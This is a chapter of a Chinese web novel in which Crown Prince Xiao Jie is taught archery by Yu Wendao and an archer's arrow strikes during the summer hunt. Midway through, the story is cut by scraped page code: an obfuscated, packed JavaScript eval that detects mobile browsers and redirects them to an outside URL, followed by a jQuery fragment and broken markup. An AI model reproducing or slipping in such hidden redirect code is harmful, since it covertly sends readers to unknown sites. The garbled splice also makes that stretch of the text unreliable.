直到夜间浣手,萧玠才发觉忘记将扳指还给虞闻道。他将白玉扳指脱下,拿帕子包起来,打算第二日去猎场时还给虞闻道。
结果翌日相见,虞闻道先带给他一件东西。
“这张弓是紫杉的木料,韧劲足,不易断。”虞闻道松开弦,空中清脆一响,“弦用的生牛筋,掺了蚕丝搓成的。这弓轻,弓力也不是很强,但很适宜上手。”
这张弓通体紫红,色如虹光,又曲线柔和,若少女手臂。萧玠爱不释手,也没有推脱,冲他笑道:“多谢世子。”
虞闻道靠着马瞧他,“叫臣什么?”
“三哥。”萧玠笑着向他拱手,“谢过三哥,我很喜欢。”
他说着从怀中取出帕子,“昨日走得匆忙,忘了将此物奉还,如今完璧归赵。”
虞闻道没有接,“殿下先用吧,要学弓少不了这家什。”
萧玠道:“这太贵重。”
虞闻道笑起来,“一块玉而已,谈何贵重?我自幼爱淘这些边边角角,扳指有一匣子。”
他瞧着萧玠,又说:“自然,殿下若嫌弃,还给我就是。”
他话讲到这里,萧玠不好多说,又见他新戴了一只白玉扳指,就没打算把东西要回去,只得作罢。
昨日临走,虞闻道便叫人做了皮靶子,今日已经在场上摆好。萧玠有些心急,不要虞闻道指导,自己就要上手。虞闻道也不拦,等他十箭落空后走到他身后,握他的手将弓持到面前,低声道:“昨日,臣同殿下怎样说的?”
他贴得太近,萧玠有些不习惯,答道:“看,和感受。”
他耳边轻轻吹过一阵气流,是笑声。虞闻道在他耳边说:“是,依臣所见,射箭其实同于心学。技巧还是其次,首先殿下要相信。相信自己的能力,相信这支箭射出去,一定能正中靶心。”
他手指一松,两枚白玉扳指一触即分。这点细微响动挨得太近,一时间灌满萧玠耳朵,等他回过神,那支箭尾羽颤颤,正中靶心。
虞闻道松开他,抱臂立到一旁。萧玠轻轻呼吸几下,挽弓,扣弦,放箭——
他皱了皱眉,掉头看虞闻道。
虞闻道瞧向那支定在靶子木座下的羽箭,问:“殿下相信能射中吗?”
“非常信。”萧玠点头,“我甚至能看到它射中的样子。”
虞闻道耸肩道:“那看来,技巧虽是其次,但一点技巧没有,也确实不行。”
萧玠这才意识到叫人耍了。
萧玠静静看着虞闻道,一言不发。虞闻道见他半天没反应,以为真生了气,忙要告罪:“是臣僭越,请殿下恕罪。”
他正要跪,却被萧玠拉住。萧玠问:“三哥感受到我的怒气,相信我要发火了吗?”
虞闻道抬头看他,一对视,萧玠便笑起来,笑得前仰后合,扶着弓道:“原来三哥才是地道的纸老虎,还同我讲心学呢。那你相信自己是老虎,怎么叫我一戳就破了呀?”
两人玩笑一会,也就回归正业。两道鞭声后,马蹄便在猎场上跑起来。萧玠这几日得了骑马的乐趣,连跑了几圈才肯停下。他掌住缰绳,同虞闻道并辔而行,草叶擦过马腹也擦过衣袍靴尖,太阳底,一片金色的静谧。
萧玠垂下手,手掌拂过草叶,那草头上簪一朵紫花,也就挨着萧玠掌心滑过去。萧玠突然道:“夏苗快到了。我恳请陛下,允许我骑马入场。”
他似乎在同虞闻道解释自己学马的缘由。萧玠一场重病闹得举国惶惶,夏苗策马的确是彰显太子健康、稳定民心的好时机。
萧玠直起身,转头看虞闻道,问:“到时候,你会来吗?”
虞闻道也不踏镫,双腿就垂在马腹边,浑身的劲都松着,冲他笑道:“臣冠帽都挑好了,等殿下到时候簪花呢。不过夏天牡丹也败了,殿下也好好挑挑,拿什么花来配臣这颗风姿卓绝的脑袋。”
萧玠笑起来,“你倒不害臊。”
虞闻道亦笑:“臣浑身上下,也就这张脸拿得出去,从这上头谦虚,岂不白瞎了爹生娘养的绣花皮子一张。人嘛,还是诚实些好。”
他看了萧玠一眼,又问:“这样大的场面,不知小郑回不回来。往年夏苗,殿下但凡出席,都少不得他作陪。”
萧玠脸上瞧不出什么,笑道:“他那样远,军务又繁忙,哪能为这点小事奔波?”
虞闻道问:“那殿下的陪席,岂不空置了?”
萧玠想了想,“教坊的沈郎还在我这边,叫他陪我坐。”
“不合规矩吧。”虞闻道捏着马鞭,“夏苗说是狩猎,实际就是陛下给朝臣们攒的局,大伙看看风声,和睦和睦关系的。既如此,到时候世家大族都得到场,那么多眼睛盯着殿下,有什么错漏,能逃过他们的唾沫吗?”
他意味深长道:“殿下,有时候爱之,反会害之。”
“我没有。”萧玠迅速道。
他骑了一会,突然双腿一打马腹,往前跑去前对虞闻道说:“我不同你讲了。”
虞闻道有些好笑,也驱马追上前,替他挽住缰绳,连声道:“好、好,没有,殿下说没有就没有。那到底找谁侍坐,殿下想好了吗?”
萧玠歪头看了他一会,扬脸问:“那依卿高见,我该选谁?”
虞闻道像在思索,说:“殿下若哄哄臣,臣未必不能当个毛遂。”
“我不会哄人。”萧玠振了振缰绳,又说,“你爱来不来。”
“来。”虞闻道看着他再度策马的背影大笑起来。
他挥鞭追上去,扬声喊道:“来!”
***
夏苗说是为了保护庄稼不叫野兽踩踏,可历朝历代总成了王公贵族宴飨作乐的由头。也就是到了今上,才真叫龙武卫去驾车列阵,把田地守卫起来。每次夏苗前都要挑挑地点,选在野兽下山的经途,不算叫“夏苗”的名头落空。
按我的身份,本是无缘出席,但萧玠不放心我一个人待着,便请示皇帝,算我一个随员。
他要给我设席,我为了自己一条小命,千辛万苦推辞过去,从他身后跟着内官阿子一块站着。夏苗正在五月,天气炎热,草木茂盛,因萧玠受不得暑气,皇帝早早叫人搭了凉棚。蓝天透过明黄棚顶,在棚内投落紫阴阴的影子。萧玠案前设了冰盘、绿豆饮,还有一小碗凉酪,座位上铺着凉簟,却不见人。
礼部司员一直在观察日晷,等晷影到一个该到的位置,他便放开嗓门高声喊道:“皇太子驾至——”
这时,场上二十四面画鼓齐声擂动,气壮地、有节奏地,接着,所有人听到马蹄踏动、芳草摩挲的声音。连皇帝也伸长脖子,和我们一块望向声音传来的方向。
先于太子,我们先看到两侧游动的仪仗,引幡、华盖撑在天际,杆子被身穿皮甲的太子六率握在手里。他们的靴子踏在草间,替中间的朱红长毯开道。毯子自皇帝所处的高台而下,直至草地。
终于,我们从红毯尽头,看见一人一马当先的身影。
皇太子骑红马,身穿大红骑装,头戴玉冠,腰扣九龙玉带,面色红润,眼神明亮,从头到脚焕发出青春茂盛的活力,全无年前传闻中的沉疴将死之态。他出现的一刻,两旁仪仗队开始活动,吹簧的吹簧鼓瑟的鼓瑟。穿透天际的庄重礼乐里,我跟随所有人向他拜倒,同声诵道:“皇太子殿下千岁。”
在我跪下的前一瞬,我看到皇帝从高台上站起来。他在萧玠跪地口称万岁前拦住他,叫大内官秋童扶他落座。
萧玠走进棚子里先冲我笑笑,对阿子说:“一会没人看着了,你们都搬个杌子坐。陛下给大伙都设了绿豆饮解暑,待会记得去西边领一碗吃。”
他从座中坐下,秋童便捧过药炉,依例叫他吃早晨的药。那股药味钻出来,带着一阵浓重的土腥气,我跟着萧玠闻了多日,仍忍不住蹙眉。萧玠却没什么异样,徐徐将药饮尽。
他这条舌头真不知道是什么做的。
我正腹诽,已听他问秋童:“政君……到了吗,我没有瞧见。”
大内官向来和煦的脸上闪过一丝异常,仍笑道:“殿下知道,南秦到底路远,还在路上。但今儿是大事,政君既然来函要到,自然不会食言。”
萧玠没有再多的表示,大内官便告辞离去。
不过萧玠这边也没清静太久,等各个世家的阵仗走完,太子凉棚前的竹帘便被打起,虞闻道钻了进来。
他冲萧玠撩袍跪倒,问了千岁,便自行起来,从萧玠身边坐下。
萧玠也笑吟吟地,说:“你再不来,我就要喊阿子去找人了。”
我跟着看去,见虞闻道似乎握着一物,果然萧玠也问:“手里拿的什么?”</
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16566378|186996||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
p>
虞闻道便抛给萧玠,萧玠双手接住,是一只绣工精细的香囊。萧玠便倚着凭几,歪着脑袋看他,道:“哦,陛下要行射礼,嘉国公世子却射回来好一片芳心。”
虞闻道笑道:“好殿下,你饶过我吧。人家娘子抛给我,当着满朝文武说不定还当人家父兄的面,我还能丢回去不成?先不说没人家的面子,万一叫我脱手砸在脸上髻上,岂不是无妄之灾。”
萧玠将香囊放在案上,“那你就这么给我。”
虞闻道也笑:“借花献佛嘛。”
萧玠皱了皱脸,“你把我当娘子哄呢。”
虞闻道揶揄:“岂敢,我拿你当娘娘哄。”
他这样你呀我呀,又将萧玠比女孩儿,我本以为萧玠要生气,不料他只是沉沉叫一句:“三哥。”
虞闻道不以为忤,也半是玩笑地告罪:“臣僭越,殿下别生气。殿下若生气,臣就不敢在跟前碍眼了。”
他这样笑闹几句,萧玠方才的沉郁也就烟消云散,我瞧他笑,发觉这笑意竟是流自眼底。
我先前讶然,郑绥离开不过数月,虞闻道便顺势而起,这样轻易迅捷地占据了萧玠身边最亲密的位置。今日见了,心里反倒明白几分。
萧玠并没有生出独立的感情,得靠爱人和被爱才能维系生命。从他待我的态度便能看出,他这些年常依赖人,和皇帝闹了矛盾,他能够依靠的只有郑绥而已。他藤萝一样攀附在郑绥身上汲取情感和力量。我想这也是他对郑绥的感情有所过界的原因。他要爱,他需要源源不断的爱来支撑他苟延残喘。当朋友之爱达到极致,他只能贪得无厌地索求更丰沛紧密的感情。
如今他推郑绥离开,是从心口挖了个洞。他太需要别的什么来填这个窟窿。
虞闻道就是在这时候出现的。
他和萧玠从前遇见的所有人都不同。他不端庄,不死板,性格活泼,浑身闪烁着旺盛的生命力。更要紧的是,他并不死守君臣界限,分寸拿捏得恰到好处。他会跟萧玠开一些无伤大雅的玩笑,会逗他,像朋友一样打趣起哄。与其说把萧玠当东宫,虞闻道更像把他当作住在东宫的“人”。
这样一个人,哪怕你知道他的接近不可能全无目的,但在他没有明确表露异心之前,你无法拒绝。
虞闻道吃了一碗绿豆饮,见萧玠手边放一枚宫扇,便拾起来打,他往萧玠那边靠,如此一来两厢都得了凉快。萧玠一般不会叫旁人代劳这些,这一会也没有制止。
不多时,外头又响起鼓声,编钟也敲起来。我瞧见皇帝从高台上站起,便知道到了他开箭的时候。
皇帝只有在这种大场合才会穿礼服,他从大内官手中接过彫弓,不带扳指,赤手将弦引至满彀。我有些惊讶,以皇帝如今衰病的身体,居然还有如此的惊人之力,很难想象他全盛的青壮之年是怎样的神武天成。
皇帝拇指一松,我们听到一股极其尖锐的利箭破空之声,飞箭裂风的声音如同裂帛,在空中撕开一条又高又远的无形轨道。就是这一瞬,原本在我身前肃然起立的萧玠突然浑身一弹,在他不管不顾地奔上场前,我听见他撕心裂肺的叫声:“有刺客,保卫陛下,保卫陛下!!”
他先于我们任何一个人听到第二支箭射出的声音,在皇帝的箭脱离弓弦之时,在他对面的不远处,一支飞箭几乎以相同的高度相同的轨迹向他射来。你的箭镞擦过我的箭羽,我的箭杆跃过你的箭身,在空中火花迸溅,如同仇敌见面,冤家路窄。
一声短促的鸣叫响起,皇帝之箭射落天边大雁的同时,第二支箭越过仪仗和云层,以万军之中取君人头的气势,啪地射碎皇帝面前的酒盏。
龙武卫拔剑而出,场上乱作一团时,萧玠已快步冲上高台,抢先挡在皇帝面前。皇帝没有展现出分毫慌乱,我看到他按了按萧玠的肩膀,将他拉到自己身边。他放下弓,望向那支飞箭射来的方向。
我相信萧玠惊讶于他的父亲全无震怒,直到他跟随皇帝的目光一起看去——
他会看到一匹高头骏马,肌肉健美,皮毛乌黑油亮。引人注目的是,这匹黑马没有上络头、鞍鞯,甚至没有缰绳和马镫。马背之上,跨坐一个不到十岁的男孩。
没人会觉得这个年纪的孩子有任何攻击性。
如果他没有骑这样一匹马,并冲皇帝放下弓箭的话。